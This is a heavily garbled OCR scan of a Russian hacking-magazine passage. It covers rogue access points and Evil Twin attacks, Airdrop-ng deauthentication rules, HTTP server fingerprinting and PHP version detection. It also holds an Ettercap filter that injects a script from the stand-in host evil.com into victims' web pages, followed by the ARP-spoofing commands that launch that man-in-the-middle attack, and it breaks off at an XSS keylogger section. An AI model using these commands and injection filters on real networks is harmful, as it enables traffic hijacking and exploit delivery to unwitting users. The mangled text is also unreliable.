aHTeHHyY, Ancka c 3anuncaHHbiM Backtrack’ oM n nogpobHoit nnnio-
CTPVMPOBAHHOW UHCTPYKLMM O TOM, Kak NofobpaThb KoY ¢ NOMOLLbIo
yTuant Spoonwep/Spoonwpa. Cobpatb Takoi KOMMIEKT HUYEro

He cTouT camomy. [naBHoe — npuobpectn becnpoBOAHbIN MOAYIb;
JelleBse BCEro oH obovaeTcs, ecaun nokynaTb Ha W3BECTHON KWUTal-
cKOW oHNaiH-bapaxonke dealextreme.com. Y7o KacaeTcs aHTEHHbI,
To ee BooDOLLEe MOXHO cAienaTb CaMOMy MO CXeMaM C CalToB nag.ru
n lan23.ru.

2. He B npumep Kutato, B LUtatax npogaetcs gesaiic, KoTo-

pbiii HamHoro Gosee TexHonormdeH — ato WiFi Pineapple (WiFi
Pineapple). B nByx cnosax — 3To xapABapHasi peann3aums aTaku
Rogue AP. BHyTpu HebonbLloro nrpyLie4yHoro aHaHaca pa3mellaeT-
Cs TOYKa JOCTyMNa C XMTPbIM COHTOM, KOTOPbIA «3aMaHWBaET» KINEH-
TOB U CHUMaeT TpaduKk. ABTOHOMHas paboTa «aHaHaca» gocTuraeT-
€S 3a CYET 4-X ManbynkoBbix baTapeek. CTOMMOCTb TaKoN UrpyLLKM
coctasnget $144, Ho paspaboTynkamu TONbKO NPUBETCTBYETCA,
ecnv nwoan cobupatoT fesaiic camu. B kayecTse ocHoBbI B35ATa
Jelwesas Touka goctyna Fon 2100 (www.fon.com) ¢ 6ecnposoaHoi
kapToi Ha yuncete Atheros, fepxatenb Ans baTapeek U3 oHNaWH-
MarasuHa paguoTexHUKM (bit.ly/onoffswitch], a B kauectse MO
ncnonb3yetcs cneyunansHas Bepcua ytunutel KARMA — Jasager
(www.digininja.org/jasager). Ha caitte www.hak5.org/w/index.php/

Jasager paxe npuBefeHa noapobHas MHCTPyKLUMS no cbopke v
HacTpowke.

lMopcTaBHas To4yka AocTtyna
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TBETCTBME «Npon3BoanTens — MAC-appec» v nofcra-

BUT Hy>XHOe 3HaueHue. Te Xe caMble NpaBuia OTHOCATCS U
knuneHTy. K nprMepy, Tak MOXHO 0rpaHN4nTb BO3MOXHOCTb
Wi-Fi ansa Bceit npoaykuun Apple: d/anylApple. Ewe oaHa
ocobeHHoCTb: B napameTpe client MoxeT bbITb ykasaH cnvcok
13 pasHoix MAC-agpecos, Hanpumep, 11:22:33:44:55:66,00:
11:22:33:44:55,55:44:33:22:11:0. Tenepb NoCMOTPUM, KaK 3T0
BbIMAANT Ha NMpakTyKe.

KAK M0JIb30BATLCA AIRDROP-NG

Airdrop-ng HanwucaH Ha Python u TpebyeT ans pabotsl
ycTaHoBJfIeHHbIN airodump-ng 1 bubanoteky Lorcon 1. Ho
ecnu ucnonb3osatb Backtrack, To Bce Heobxogumoe 1 cama
yTrnuTa 6e3 npobnem ycTaHOBUTCS 13 CTAHAAPTHOrO perno-
3uTopUs:

apt-get update
apt-get install airdrop-ng

CxeMa 1Cnonb30BaHWA Maso Yem OTANYaeTCH OT 3HAKOMbIX
HaM aTak:

1) MepebiM genom Hago nepesectnt Wi-Fi-kapTy 8 pexum
MOHUTOPUHTa:

airmon-ng start wlanO

2) [anee 3anyctnTs becnpoBogHbiii cH1ddep airodump,
CKOH(UrypupoBaB ero BbiBOf, B .Csv-dalin:

airodump-ng -w dumpfile --output-format csv

mon0

3) Mocne aToro cozpaem dain ¢ npasunamu gns AirDrop.
BosbMeM g nprvMepa onmncaHHoe Bbile Npasnio, 3anpe-
watolee coegnrennsa ¢ AP, y kotopoit mac = 00-11-22-33-
44-55, 1 3anuwewm ero B dann rules:

nano rules
d/00-11-22-33-44-55|any

4) Bce, ocTanoch 3anyctutb cam airdrop-ng, NpuanHKOBaB-
LNCh K csv-BbIBOAy CHUdbeEpa 1 KoHUry C NpaBunamm:

airdrop-ng -i mon0 -t dumpfile.csv -r rules
YTunuta HayHeT cBoto paboTy, BbIBoAS coobuieHns ob
OTNpaBfeHHbIX B CeTb NakeTax. Ecan nomumo npoyero
yKasaTb ko4 “-b", nononHnTenbHo byfeT BbIBOAWUTLCS MNOf-
pobHbIt 0TYeT. B pesynsTate Ha KoHCONb DyayT BbIBOAUTLCH
coobLleHns, KakuM KMeHTaM 1 rae beino paspeLleHo unm
3anpelleHo coegunHenune. Kak g yxe ckasas, ycnoBus MoryT
BbITb HAMHOrO Bonee rMbKMMK, 3TO AOCTUIAETCH C MOMOLLIbIO
Kackafa npasun:

1low-mpaBuio
a/00-11-22-33-44-55|55-44-33-22-11-00

#Deny -IpaBuUIio
d/00-11-22-33-44-55|any

Takvm 0bpa3oM, Mbl paspeluaeM [0CTyN K TOYKE KIMEHTY C
MAC-agpecom 55-44-33-22-11-00, B To Bpems kak Ans Bcex
OCTasIbHbIX COEAMHEHME NO-NPEXHEeMy 0CTaHETCH HeLo-
cTynHbIM. [NonyyaeTtcs, Airdrop-ng MOXHO 1CMoNb30BaTh Kak
NpPOCTeNLWYio CUCTEMY KOHTpONA AocTyna :). W aTo bes kakoro-
nmbo focTyna K afiMUHKe Toukm!
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B Backtrack 4 ecTb u gpaiiBepbl, U codbT gna neHtecta Wi-Fi

EVIL TWINS V2.0

OnbITHbIE YMbI, HABEPHOE, Yy>Xe A0rafanunch, Kakvie BO3MOXHO-
cTn npefoctasaseT Airdrop-ng B nnaHe nposefeHuns MITM-
aTaku. Pa3 Mbl MOXeM BAMSATL Ha To, € Kakumu AP nmeeT
BO3MOXHOCTb paboTaTb 6ecnpoBOHOI KIMEHT, HUKTO He
MeLllaeT HanpasiATb ero NoAkMoYeHNs K Hallell ocobeHHo
Touke [OCTYNa, a Ha Hell CHUdaTb BeCb NPOXOAALLMI TpaduK.
Yenosek BUAMT Ha HoyTbyke ceTb «Free Wi-Fi», nonkntoyaet-
€S K Hell 1 HUKOra He NOA03PEBaET, YTO 3TO BOBCE He Touka
[,0CTyna 3aBefleHns, B KOTOPOM OH Haxo4MTCH, @ NoACTaBHas
AP-wka, pa3BepHyTas Ha HoyTbyke c cocefjHero cTona. Ataka
Evil Twins (nnn Rogue AP) nssectha euwe ¢ 2004 ropa v
0CHOBbIBaeTCH Ha HebesonacHoM nosefeHUn becnposos-
HbIX K/IMEHTOB. B SIl0AHOM MeCTe C MOMOLLbI CMeLUManbHoro
codTa NogHMMaeTcs To4ka JOCTyna, KoTopas OTBeYaeT Ha BCe
probe-3anpochbl, B KOTOPbIX KIMEHT MPOCUT 0TO3BaTbCH TOUKM
[,0CTyna C ykasaHHbIMW napametpamu. QanblunBoii Touke,
Kak npasuno, yctaHasnunsaetcs ESSID Toi becnposogHon
ceTu, KoTopasi NerMTUMHO pa3BepHyTa BHYTPU MOMeLLeHNs,
MO3TOMY KSIMEHT, HUYEro He Mofo3peBas, NofgktoYaeTcs K
Hell. PaHblLle MHOroe 3aB1CeNo OT YPOBHS CUrHana, KoTo-
pbI Tl MOXellb NMPeIoXNTb: YeM OH Bbile, TeM bonbLue
LIAHCOB, YTO KJIMEHT MOAKIIOYNTCSH UMEHHO K TBOE Touke
noctyna. Ceiiyac e, koraa nosiBUACs cnocob HacuabHO
NOAKMNOYUTbL KNneHTa K cBoelt AP, aTa aTaka BbIBOAMTCS Ha
COBepLLUEHHO HOBbIN ypoBeHb. [1ng nocnefHero notpebyetcs
Airdrop-ng 1 ABa npaBuna, 3anpeLianLine coeanHeHne ¢
nbbiMn AP, kpome deiikosoi [nycTb y Hee IP Bynet paseH
00:aa:bb:cc:dd:ee):

a/00:aa:bb:cc:dd:eel|any
d/any | any

[lanee feno 3a TpafMUMOHHBIM CODTOM A1 NPOBEfEHUS
atakn Rogue AP. MeTogvika BnepBble bbina peanvsoBaHa B
Tyn3e KARMA eue B 2004 rogy. Mo3xe npoekT bbin peannso-
BaH kak Moaynb Metasploit, n nonyunswuiics Karmetasploit
(bit.ly/Karmetasploit) ceftuac asnaetcs ogHuM 13 Hanbonee
yoauHbIX pelleHVin 4na npoeefeHnii ataku. [ogpobHocTu
1CMob30BaHNS AOCTYMHbI Ha caliTe npoekTa. [puroautcs
Takke onbIT paspaboTymkos Airdrop-ng, KoTopblii MOXHO
NoYeprHyTb U3 VX NpeseHTaumn Ha Shmoocon (www.
shmoocon.org/2010/slides/wifibomb.zip). Xota ecTb v gpyroit,

bonee NpocToN v N3ALWHLIA cnocob — BoCNoib30BaThCA Cre-
LManbHbIM [1eBaiCOM, O KOTOPOM Tbl MOXELLIb NPOYUTATL BO
Bpe3ke. Ho OH NO NOHATHBIM NpKYMHAM 1 Bonee [oporo.3C

L WARNING |

> info

Bes undopmauusa
npencrtaBneHa
VCKIIOYNTENBHO B
03HAKOMUTENbHbIX
uensx. Bmewartens-
cTBO B paboTy uyxon
BecnpoBogHol ceTw,
BO-MepBbIX, MOXET Bbl-
3BaTb He[JOBO/LCTBO ee
X035IMHa, a, BO-BTOPbIX,
HapywaeT YK PO. Nnmeit
rofloByY Ha Myeyvax.
ABTOp 1 pepakuns 3a
TBOW AENCTBUSA OTBET-
CTBEHHOCTW He HeceT.
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[Mpumep npumeHeHus httprint'a.

3ALAYA: ONPEAEJSIUTb BEPCUIOHTTP-
CEPBEPA

B HefasHeM Homepe ][ 6bina xopoLuas cTaTes, B KOTOPOW OMKcaHa Tema co-
KpbITUS/M3MeHeHNs 6aHHepoB Ans pasnnuHsix cepancos, byab 1o FTP- niu
HTTP-cepBep. Ho, 4TobbiI Thl Bbin BCeCTOpPOHHE BoOpY>XeH, noBefato Tebe o

Bonee npoaBuHyThIX MeTofax fetekta [10. B aTom Homepe o HTTP-cepBepax.

KoHeuHo, cTpouka «Server» B 3arosoBke — 310 XopoLLo. Ho Ha Hee CnLLKOM
nerko noBaAnATL. YTo ke y Hac ecTb ewje? [loctatouHo MHoroe. CyTb B TOM,
4TO pa3Hble BeD-cepBepbl N0-pPasHOMy MOCTYNatoT B Pa3INUHbIX CUTYaLMAX.
To ecTb Mbl NOCbINAEM pPa3MyHble 3aMpoCkl CEpBepaM, a OHV No-pasHoMy
oTeeyatoT. B 0CHOBHOM 3T0 CBA3aHO ¢ HeonpeaeneHHocTaMu RFC u/vnu
OTKJIOHEHUMEM OT HUX. [103TOMY MOXHO COCTaBUTL ONpeesieHHble 0TneYaTku
(fingerprint) kaxgoro HTTP-cepsepa, MHOr 4@ 1O KOHKPETHON BEPCUN.

EcTb v naccuBHble MeTOAbI, M aKTUBHbIe. AKTVBHbIE — Boslee ToUHbIe, HO
TpebyioT nocsina (HelcTanaapTHLIX 3aMPOCOB, KOTOPbIE MOXHO 0BHAPYXUTb.
BoTHekoTopble cnocobbl puHrepnpuHTa:

® Tlopsimok mojen B orBeTe HTTP-cepBepa;

® PazjM4yHEE OTBETH CepBepa Ha 3allpOCH BUIOA:

DELETE / HTTP/1.0 — «3anpelleHHH» MeTOH ;
GET / HTTP/3.0 — «HOBBI» BEepPCHS IIPOTOKOJA ;
GET / LALA/1.0 — HeCTaHOAPTHHN IIPOTOKOII;
HEAD / — HEKOPPEKTHHI 3aIpocC ;

W Tak nanee.
® PaznyuMsi B IIOPSOKE CJIOB, PEIMCTPEe B Pa3IMYHEX OTBEeTax

Beb-cepBepa;

® PaznuyHEe TEKCTH ommbouHex (404, HampuMep) CTPaHUII;

Response from Apache 1 323
OTBeTbl 0T pa3nuyHbix HTTP-

cepBepoB. BuaHa pasHuua
B nopsake nonew, etag’e,
perucrpe.

§ ne apache.exapple.com B0
HEAD # MTTP-<1.0

HITP#1.1 200 OR

Date: Sun, 15 Jun 2003 17:10:49 OMT

Server: Apache-s1.3.23

Last-Modified: Thu, 27 Feb 2003 03:48:19 GMT
ETag: “32417-cd-JeSdBafd™

Acespt-Ranges: bytes

Content-Length: 196

Connection: close

Content=Typa: text<html

Response from IS 50

$ ac iis.exemple,com B0
HEAD » HITP~<1.0

HITP#1.1 200 OR

Server: Microsoft-115-5.0

Content-Location: htep: <iis.sxsmple.com-Default.htm
Date: Fri, 01 Jan 1999 20:13:52 GMT

Content-Type: text html

Aecept-Ranges: bytes

Last-Modified: Fri. 01 Jan 1999 20:12:52 GNT

ETag: W/ e0di62adc3dthal:anl®

Comtent-Length: 133

.

CrienuouyHbe OIS F R, R
Beb-cepBepa I[ojs B

§ mc netscape.example.com 80

oTBeTe; HEAD ~ HITP-1.0
HTTP-1.1 200 OK
Server: Hetscape-Enterpri
Date: Men, 16 Jun 2003 06:0
Content-type: textshtml
Last-modified: Wed, 31 Jul 2002 15:37:56 OMT
Content-length: 57

® Peaklisi cepBepa B

1
40 oMT
3aBUCUMOCTHM OT IJIVI—
HEH 3a1poca;

® JI mpodee.

To ecTb, Ha NepBbIN B3rNA4, CNocoboB 04eHb MHOTO.

Takum 06pa3oM, Mbl MOXKEM [JOCTATOYHO TOYHO BbIAEINTH OTMNEYHATOK KaXA40r0
Beb-cepBepa.

06wasn vaes, 5 aymato, NoHsTHa. Ha npakTuke xe ecTb MHOXeCTBO TyN308.
Hanpumep, httprint nog win/nix u sxoaswuii 8 BT 4 (net-square.com/
httprint/), onercopcHbiii httprecon nog win (computec.ch/projekte/
httprecon/. Morosapueaiot, 4to ogHa 3 nydwmx ;). 06e NpuUAOXeHsI Ha

aucke.

PasHuua Mexnay HUMK, B OCHOBHOM, B KOJIMYECTBE 1 KaYeCcTBe 1CMosb3ye-
MbIX TECTOB U IOTUKE, MO KOTOPOW OHY ONpeAensiioT BaXKHOCTb «MPOXOXAe-
Hus» Beb-cepBepoM kakoro-To Tecta. Beflb MOHATHO, Y4TO TOYHOCTL ONpese-
NeHNs BEPCUN CepBepa Mo oTneyaTkaM MMeeT BEPOATHOCTHbIV XapaKTep 1
BO MHOIMOM OCHOBbIBAETCS Ha METO/e BbICTaB/IEHNS OLLEHOK 3@ MPOXOXAEHNE
KaX/A0ro M3 TeCToB, MPOBOLMMbIX MPOrPaMMON.

KcTaTu, gaxe ¢ y4eToM rnyboKoro M3MeHeHus Kakmx-To XxapakTepucTnk Be6-
cepBepa, onpenenu1Th BEPCUI0 MOXHO. Hanpumep, ects net-square.com/
httprint/httprint_paper.html gna mopyns ServerMask k IIS.

EcCTb Takxe 1 OHNanH-puHrepnpuHTEP BEO-CEPBEPOB (1 HE TOMbKO) — 3TO
www.netcraft.com.

[anbHerne npvmepbl NPUBOAUTL He Byay — NPOr CAULLKOM NPOCTI.

Ho ans 6onee 4eTkoro NoHMMaHNa (Ny4lle oanH pasd noTporats, Y4em 100
pas yBMAETb :)) COBETYIO MOMrpaThCs C Moot U3 3TVX NPOrpPamMM 1 KakmM-
HUBY b CHUdPepoM. CepBepbl MOXHO HaltT Ha shodanhag.com. Teopuio
Ha NPOCTbIX NPpUMepax MOXHO NOYePnHYTb TyT — ujeni.murkyroc.com/
hmap/. baza 0TBETOB Ha pa3nun4Hble 3aNpockbl— computec.ch/projekte,
httprecon/?s=database.

CnepnyeT Takxe ynoMsaHyTb, 4To HTTP-GUHrepnpuHT o4eHb HexxenaTtenbHo
npoBoanTb Yepes HTTP-npokcK, Tak kKak NnoCAefHNIA MOXET CUbHO U3Me-
HWTb OTBET OT CepBepa.
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3AZJAYA: ONPELEJINTb UCNOJIb30BA-
HWE PHP MEI0 BEPCUIO HAYOAJIEHHOM
CEPBEPE.

PELLUEHMUE:

3afava HeTpyaHas, HO B HEKOTOPbIX Ciyvasnx beiBaeT Heobxoanma. K

npuMepy, Koraa Ha cepsepax 4acTo to3atoT mod_rewrite (ecnn He B Teme —
OuYeHb 1aKOHUYHO onKcaHo Ha Bukuneanu g ctatbe «4MY_WHTepHeT»).
3ayem Bepcua? Knpumepy, cam PHP nMeeT BHyTpeHHMeE yS93BUMOCTH,
KOTOPBIMU MOXHO BOCM0J1b30BaTbCS. B 3TOM MOXHO ybeanTbCS, mopbickas
Ha exploit-db.com. MoxHo nocmMoTpeTh 3aronoBok oT Beb-cepBepa, rae
Hapsidy c ero baHHepoM MoxeT BbiTb v uHpa o PHP.

/2 http://vkontakte.ru/?=PHPE9568F36-D428-11d2-A769-00

—a " I_ http: [/ ruf?=PHPESS
@—\f: E http://vkontakte.ru/?=PHPE

v

=3

n [paeka Buwa WsbpanHoe Cepeuc Cnpaeka

1. Mabparnoe ] http:/fvkontakte.ruj?=PHPE9S68F36-D428-...

KopsiBblli 3Ha4ok Ha BK

Ho ecTb apyroii 3abaBHbI cnocob. A MMeHHO — «MnacxanbHble AiLa» ot
cospatenen PHP. [puyem oHu npuMeHnMbl k 1tobbiM PHP-ckprnTam,
naxe c ownbkamu B ctune Fatal Error. Muwem noboi M3 nyHkToB K Ntobo-
My CKpUMTY:

CcKpunT . php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
CKpUIIT . php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
CckpuIT.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
CKpPUIT . php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
CKPUIIT . Php?=SUHO8567F54-D428-14d2-A769-00DA302A5F18

MepBbit — 3abaBHas kapTuHka, BTopoit — noro PHP, notom noro ZEND,
cnvcok aBTopos, foro ot Suhosin (nobaska k PHP). Mpuuem otobpaxe-
HVe MepBOro NyHKTa CUIbHO MEHSAETCS B 3aBUCMMOCTY 0T Bepcun PHP.
CooTBeTCTBME M ONMCaHWE «N0YeMy OHO Tak» MOXHO HanTh Ha www.Ophp.
com/php_easter_egg.php.

XKanb, 4To oTKNKOYaeTCs 3Ta Guya TeM Xe, 4eM 1 JobaBneHne B 0TBET
cepBepa 3aronoska o PHP, a uMeHHo — ycTaHoBKo «expose_php=off» B
php.ini.

3abaBHble kapTUHKM B PHP

3ALAYA: NOACYHYTbXKEPTBE CBOM
CMJIOUT, UCNOJIb3YA ®UJIbTPbI
ETTERCAP.

PELLEHMUE:

[Mpononxy TeMy atak 0bbI4HbIX 03ep0oB. CUTyaLMs Ta e — «[0CTyneH» ToNbKo
Bpaysep nonb3oBaTens, a HaM TpebyeTcs «3acTaBUTL» NePeNTU ero Ha Hally
CTpaHuLy ¢ 3KcnnoiToM. [1peAcTaBuM, 4TO Mbl HaXOLMMCS C HIIM B OHON
NOAICeTY, Tak Kak HaM CHOBa MoHa0bKTCH BO3MOXHOCTb A0CTyNa K Tpaduky.
Ho Ha celt pa3 Bocnosb3yemcs Takow xopoLuelt Bellibio kak «Ettercap NG». Yto
npusTHO — ecTb v GUI'WHbIN HTepdelic, 1 koHconbHas Bepcus. [ocneaHss
Bepcus —0.7.3. Ha cantte ettercap.sourceforge.net ectb ICXOAHMKM Kak Nog,

pa3Hble BUAbI NiX 0B, Tak M Nof BUHAY. B obueM, sTo cHuddep, HafeneHHbI
Ba>XHbIMU 1 HY>XXHbBIMY 4151 HAC BO3MOXHOCTAMM. B nx yncno Bxogst:

® BoHMMaHMe ¥, €CJIM Hano, PacmudpOBEBAHME JIOTMHOB M IIa-
poJien K 60JIBIOMY YUCITY IIPOTOKOJIORB;

® Mommdmukalius mepenaBaeMex B 0O0UX HAIPaBIEHUSX ITaKeTOB;
e [IpoBemenre Man in the Middle aTak (MitM) ;

® [lacCUBHBH aHanmm3 Tpaduka ¢ ¢uHrepnprHToM OC, CEPBUCOB

XOCTOB.

Ktomy xe, Ettercap pacwwupsieT cBolt pyHKLMOHAN 3@ CHET BCEBO3MOXHbIX
NNarnHoB.

Ho ans naHHow 3apgayv HaM noTpebyioTcs ero BO3MOXHOCTY MO NOUCKY 1
Mogudukauum aanHbix TCP/IP-nakeTos Ha «kuBoM» Tpaduike.

Obuwas npes Takosa: Bo-nepBbIX, NoNy4aeM JoCTyn K Tpaduky; BO-BTOPbIX,
ycTaHaBnvBaeM opunsTp Ana Ettercap’a Ha moagndukaumio HTTP-oTBeTOB
0T cepBepoB, KyAa XepTBa 3axoauT. Mogndwrkaumsa byaet 3aknioyatscs B
nobasneHun nMbo cnaonTa, NMb0 CChISIKW Ha CMI0NT.

[lns TouHocTH Byay pacckasbiBaTb 0 KOHCONbHOM Bepcum Ettercap, Bxoas-
e B BackTrack 4.
Mpuctynum. Cozgaem TekcToBbIn dannmk «http_filter.txt» n nuwem B Hero
cnepyowmin kog, — dunetp Ha HTTP-Tpaduk.

//Ecnu mpoTokon — TCP,
if (ip.proto == TCP && tcp.dst == 80) {

ynaneHHu rmopT — 80

Ettercap NG. [MpeaBapuTensHoe ckaHVpoBaHMWe NOACETKM W HaYaso aTaky.
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//VimeM CTPOKY

if (search(DATA.data, "Accept-Encoding")) {
//3aMeHsieM Ha My COp
replace ("Accept-Encoding", "Blabla-Blahblah") ;
//Meccara nis Hac

msg ("Accept-Encoding field has been changed\n") ;

}
//Ecnu mpoTokon — TCP,
if (ip.proto == TCP && tcp.src == 80) {

ucxonsamuii rmopT — 80

replace("</body>", " <script type=\"text/javascript\"
src=\"http://evil.com/sploit.js\"></script> \" ");
// MeHsieM OTBeT cepBepa — HTML-CTpaHully , IIOOCTAaBIISS
KaKOW-TO CBOM CILJIOUT
replace ("</html >",
" <img src=\"http://evil.com/evil.gif\"></img>") ;

msg ("Success!\n"); //Meccara mus Hac

[ns co3panna dunbtpos K Ettercap cylectByeT NPUMUTUBHBIN «A3bIK»,
KOTOPbIM Mbl 1 BOCTMO/1630BaNNCh. 34eCh Mbl CO3/aV [iBa «Npasuna.
[epBoe NprMeHseTcs K NakeTaM, oTrpassieHHbIM Ha 80 nopT Mo npoTokony
TCP. 06bl4HO 3T0 3anpockl bpay3epa Ha OTKPbITYE TOI MW MHOW CTPaHULLbI
Beb-cepsepy. B Hux uwem ctpoyky «Accept-Encoding» (none ctangapt-
Horo HTTP-3aronoska, nocbinaemoro bpaysepom) v MerHsaem ee Ha 6o
LPYroi TekcT Toro xe pasMepa (310 BaxHo). TpebyeTcs 370, NoTOMY 4TO
06bI4HO B «Accept-Encoding» yka3biBaeTcs, 4To 0TBeTHI 0T Beb-cepBepa
MOXHO CkMMaTb. Ho Mo ckaTbiM AaHHbIM Mbl HE CMOXEM NPOBEeCTW Heobxo-
ouMoe HaM n3meHeHne HTML-cTpanuu,. [1oaToMy Mbl MeHsieM 3To nose Ha
4T0-HMbYAb Apyroe. CepBep e nNpv pa3bope NponycTuT 3T0 KpUBOE Mose
¥ OTBETUT HaM B HeCkaToM BKe. BTopoe npaswuno npumMeHseTcs yxe K
NpUHUMaeMbiM gaHHbiM. Cutyaumns noxoxas. lenaeM Bbibopky nakeTos oT
Be6-cepsepa (npotokon TCP, ncxoaaumi nopt — 80). M MeHsieM cTpoukm
«</body>», «</html >» Ha nubo ABaCcKpUNTOBCKUIA, MO0 PUCYHOK-CMONT,
He cyTb BaxHO. [ToyeMy MeHHO 3T1 Tern byfem MeHsTb? Y HYX eCTb OAMH

Ea=
Hai

NJ0C — OHM NMPUCYTCTBYIOT NOYTH Ha Bcex HTML-cTpaHunukax B eAMHUYHOM
Yuncsle, YTO MOBbICUT LIAHCHI HA YCMELLHYI0 3KCMNyaTaLyio yA3BUMOCTY Npw
MaJsloM KoIMYecTBe 3aMpoCcoB K HalleMy cepBaky. Ho Bce 3aBMCHT 0T cuTya-
uuu, bpaysepa xepTBbl 1 T.4. ELLle napa MoMeHTOB: dyHKUMA «replace»
PEermcTpo3aBmncuMa, TO eCTb MOXKHO MOBTOPUTb UCKOMbIE CTPOYKU B Pa3HbIX
perncTpax, a GyHKLMA «Msg» BbIBOAUT HaM Co0DLLeHNs B lorax, YTobbl Mbl
3Hanwu, Korga npasuso 3afeicTBOBaNoCh.

[lanee TpebyeTca nepeBapuTh HaLL TeKCTOBbIN dalin ¢ unbTpoM B yaobo-
BapuMblii gns Ettercap’a Bug. Muwem B koHconu:

etterfilter http_filter.txt -o http_filter.ef

[ne http_filter.txt — Haw dann c dunsTpom, a B «-o http_filter.ef» ykasbl-
BaeM nMsa byayuiero Ettercap-¢unsTpa (HeobsizatensHas onuns).

[anee 3anyckaem cam Ettercap.
ettercap -T -F http_filter.ef -M ARP /192.168.0.1/

ne onuns «-T» yka3biBaeT Ha To, 4TO Mbl 3aMyCKaeM TeKCTOBYI0 BEPCUIO
Ettercap; «-F http_filter.ef» — noaknioyaem nonyyenHsbiit ot Etterfilter
duneTp; «-M ARP /192.168.0.1/» — ykasbiBaeM Ettercap, 4to Tpebyetca
3anycTuTb MitM aTaky, a uMenHo — arp-cnyéunr (8 Ettercap BxoanT ewe
HeCKoMbko Knaccuyeckmx atak). 192.168.0.1- IP wnosa. Kpome BcTpo-
eHHOCTY, BOHYCBI MCMONIb30BaHNS BCTPOEHHOTO arp-cnydduHra ele 1 B
TOM, 4To nocne cBoeit paboTel cHUpPep BoccTaHaBnmBaeT ARP Tabnunubl,
nocbiias NpaBUibHbIE 3HaYEHNS, K TOMY Xe He Ha[l0 3aMopaynBaThCs C
penupektamu. B utore Ettercap byget dunsTpoBaTh Tpaduk oT Hallel
>KepTBbl, 4obaBnsqa B koHel kaxgo HTMLU ku Haw cnnownt. Kak noHnMa-
ews, Ettercap — Tyn3a kpytaa. OcobeHHO ¢ BO3MOXHOCTAMU GUNLTPOB, @
OHV WMPOKK. ITO 1 U3MEHeHWe, AeKOANPOBaHMe NakeToB, 1 UCMOb30Ba-
HUe perekcnos, 1 3anyck koMaH... OCHOBHYI0 MHdY MOXHO NOYePNHYThL
13 man’oB 1 npunaraembix K Ettercap’y npumepos. Kctatu, ecnu bypews
pa3bupatbCs C 3TON TyN30W, TO MOMHM, HTO OHa He CHUGPUT Tpaduk,
nocelnaeMbli MaLLMHOM, Ha KOTOPOV OHa yCTaHoBAEHa.

3ALAYA: OBJIErYNTb CBE0P
MHOOPMALIUN.

PELUEHMUE:

B cBoux okonoxakepckux MAn XUTENCKMX ieNax Mbl HacTo CTankBaeMcs

C HeobxoAVMOCTbIo Novicka HpopMaLmun. byas To cbop HdopmaLnm o
KaKoM-TO CepBepe MU MOVCKU Kakoro-To akcnoinTa (uav nouckm mobew ).
7 yBEpeH, 4To KaxAbll M3 Hac MMeeT KyuKy 3akNafoK K OCHOBHbLIM pecypcam
IN151 370r0. TakxKe eCTb BCEBO3MOXHbIE MAarnHbl AJ1si yCKOPEHWs 3Toro fena.
Ho B 060ux ciyyasx Thi NprBA3LIBAELLLCS K ONPEASNeHHOMY KOMTbioTepy/
cod1y (0cobeHHo koraa nonb3yelbes pasHbiMy bpaysepamu). EcTb, koHeu-
HO, PeLeHVs 3TOM TPYAHOCTU, HO... XOUy NOAeNNTbCS HaxofKow, KoTopas
upesBblYaiiHo NopagoBana MeHs — cepBuc Ha http://veha.net/q. Mo cytw,
3TO arperaTop Ky4u BCEBO3MOXHbIX MOMCKOBLIX (1 He TonbKo) crctem.

BBen 4T0-To B CTPOKY Noucka 1 CHK3Y yBUAEN BbIDOPKY C ryrna, 04uH KK
— nyxe ¢ BUKW. Ho 370 He bb110 Bbl HAaCTONBbKO MHTEPECHO, ecnv bbl He ABe
Beln. Bo-nepsbix, yehg — 370 xakepckas rpynna, NoToMy U CepBHC 3aTo4eH
nof 3ajaun, CBA3aHHble C MHGopMaLMoHHOI besonacHocTbio. [ToaToMy TyT 1
MOWCKOBMKM MO CMIOITaM, yi3BMMOCTSAM, 1 BCdeckme whois bl a nopTcka-
Hepbl, kofepbl/aexkoneps! M T.4. KcTatu, oueHb COBETYI0 NPOCMOTPeTb BECh
Habop calitos. [ogbopka feicTBUTENBHO XOPOLLA, Ha BCE CAyYan XU3HY,
Kak rosoputcs. MoxHo 4T0-To Ans cebs BbIfeNUTb, 3aNOMHUTH.

BTopoli e natoc 3aknoyaeTcs B TOM, YTO 970 — 00LLeL0CTyNHbIN «Beb-ar-
peratop» nonckosnkos (gosu.pl/wsa/). OH 04eHb NPOCTON, Tak Kak UCMosb-
3yeTTobKO JavaScript v ppelimbl. To ecTb MoXeT paboTaTb faxe N0KanbHO U
He npuBsA3aH K bpaysepy.

[103TOMy ero MoXHO BbICTPO 1 1erKo HAacTPOUTL Mo cebs.

[nsToro, 4Tobbl 40HABUTL KAKOM-TO NOMUCKOBUK, TpebyeTca Bcero nLlb
BCTaBWTb cTpoyky B HTMLky arperatopa. Hanpumep, fobasum novck no
canTyxypHana. Mem 1 fobasnsaem:

CATS["General"] = {

[puKpyY€eHHBIM MoMCK Mo canTy xakep.ru

el ) I&] fi -0 0 Coevess b

|y Sonch | [Coar |14

Grareg bosks Wk fe wesbel by mager  fews  mage  PasceSamch

%..:_ Whols  ONS  WebView WebRspon WebCheck UsiCheck  Goopleliacking Explein Crack  Tmosdeirypt  Obmciery  Cicsionary
=

R L3, DR300 T3 4 A T
.
O] 1050 s LB T TR

5
e GO 180 b Koeibesa: (T fems] Bescon: 1.0 Pisest 1041 o)
o - 2wt ppecm nt e Bierossh Vindsws. O

Gavony 1,64 .
109 b M
CBoRy s st e M o

s s Dby
o AT ¢ FonDE0 CYDRY Haske: 1
Bascas: 108 Fuiens: 20780 o8 Cubuitit anset

Bagacpcmm
Ao xhusz € Rtz Oy Hitht!

o o € T DyDbY Lsrsers; K3
e e e

» 040

XAKEP 08 /139/ 10




"xakep": "http://www.xakep.ru/local/search/search.

asp?text=%s",
bi

[ne %s — MecTo, kyfa byneT BCTaBAATLCHA Ta CTPOKA, KOTOPYIO Thl ULLELWb.
B wutore B kateropun «General» y Hac noaBuTcs NyHKT «xakep». Bce

npocTo. [TpryemM MOXHO BBECTY LOMOSHUTENIbHbIV TEKCT UM NapameTpbl
k 3anpocy. Kak 3To cjenaHo, HanpvMep, B NOMCKe CMTOWTOB MO ryriy, rae

3AA4A: YKPACTb JIOTMH, NAPOJIb
MOCPEACTBOM XSS UKEWJIOTTEPA.

PELLUEHMUE:

XSS bbiBaloT pasHble: akTUBHbIE, NaccKBHble. [1epBble, KOHeUYHo, bonee onac-
